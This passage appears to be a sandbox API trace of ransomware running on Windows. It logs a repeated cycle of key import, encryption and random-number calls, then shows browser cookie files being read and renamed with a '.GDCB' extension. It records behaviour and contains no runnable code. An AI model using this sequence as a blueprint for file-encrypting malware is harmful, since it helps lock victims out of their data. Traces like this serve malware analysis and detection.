v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.639] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037390) returned 1 [0189.639] CryptGetKeyParam (in: hKey=0x5037390, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.639] CryptEncrypt (in: hKey=0x5037390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.639] GetLastError () returned 0x0 [0189.639] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.639] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0189.641] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037190) returned 1 [0189.641] CryptGetKeyParam (in: hKey=0x5037190, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.641] CryptEncrypt (in: hKey=0x5037190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.641] GetLastError () returned 0x0 [0189.641] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.642] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JWFWLAYR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jwfwlayr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.644] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.645] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.646] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xb3, lpOverlapped=0x0) returned 1 [0189.655] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.659] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JWFWLAYR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jwfwlayr.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JWFWLAYR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jwfwlayr.txt.gdcb")) returned 1 [0189.666] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.668] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.668] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.668] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.668] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.671] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.671] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.671] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.673] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037410) returned 1 [0189.673] CryptGetKeyParam (in: hKey=0x5037410, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.673] CryptEncrypt (in: hKey=0x5037410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.673] GetLastError () returned 0x0 [0189.673] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.673] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.675] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50371d0) returned 1 [0189.675] CryptGetKeyParam (in: hKey=0x50371d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.675] CryptEncrypt (in: hKey=0x50371d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.675] GetLastError () returned 0x0 [0189.675] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.675] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\K8249Y1G.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\k8249y1g.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.678] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.680] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.681] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xeb, lpOverlapped=0x0) returned 1 [0189.689] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.694] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\K8249Y1G.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\k8249y1g.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\K8249Y1G.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\k8249y1g.txt.gdcb")) returned 1 [0189.699] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.702] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.702] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.702] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.704] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.704] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.704] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0189.706] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037690) returned 1 [0189.706] CryptGetKeyParam (in: hKey=0x5037690, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.706] CryptEncrypt (in: hKey=0x5037690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.706] GetLastError () returned 0x0 [0189.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.706] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.708] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50376d0) returned 1 [0189.708] CryptGetKeyParam (in: hKey=0x50376d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.708] CryptEncrypt (in: hKey=0x50376d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.709] GetLastError () returned 0x0 [0189.709] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.709] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\KNJ4AJDH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\knj4ajdh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.711] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.712] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.713] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x203, lpOverlapped=0x0) returned 1 [0189.722] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.729] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\KNJ4AJDH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\knj4ajdh.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\KNJ4AJDH.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\knj4ajdh.txt.gdcb")) returned 1 [0189.734] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.737] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.737] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.737] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.737] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.740] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.740] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.740] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0189.742] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037550) returned 1 [0189.742] CryptGetKeyParam (in: hKey=0x5037550, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.742] CryptEncrypt (in: hKey=0x5037550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.743] GetLastError () returned 0x0 [0189.743] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.743] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.745] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037090) returned 1 [0189.745] CryptGetKeyParam (in: hKey=0x5037090, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.745] CryptEncrypt (in: hKey=0x5037090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.745] GetLastError () returned 0x0 [0189.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\L78EW25D.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\l78ew25d.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.748] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.749] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.750] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6f, lpOverlapped=0x0) returned 1 [0189.759] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.763] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\L78EW25D.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\l78ew25d.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\L78EW25D.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\l78ew25d.txt.gdcb")) returned 1 [0189.770] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.772] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.772] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.772] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.774] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.774] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.775] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.777] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037350) returned 1 [0189.777] CryptGetKeyParam (in: hKey=0x5037350, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.777] CryptEncrypt (in: hKey=0x5037350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.777] GetLastError () returned 0x0 [0189.777] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.777] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.779] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037710) returned 1 [0189.779] CryptGetKeyParam (in: hKey=0x5037710, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.779] CryptEncrypt (in: hKey=0x5037710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.780] GetLastError () returned 0x0 [0189.780] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.780] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LC10XEWL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lc10xewl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.782] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.784] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.786] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x14b, lpOverlapped=0x0) returned 1 [0189.797] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.809] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LC10XEWL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lc10xewl.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LC10XEWL.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lc10xewl.txt.gdcb")) returned 1 [0189.815] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.817] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.818] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.820] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.820] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.820] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.820] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.823] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037750) returned 1 [0189.823] CryptGetKeyParam (in: hKey=0x5037750, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.823] CryptEncrypt (in: hKey=0x5037750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.823] GetLastError () returned 0x0 [0189.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.823] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider 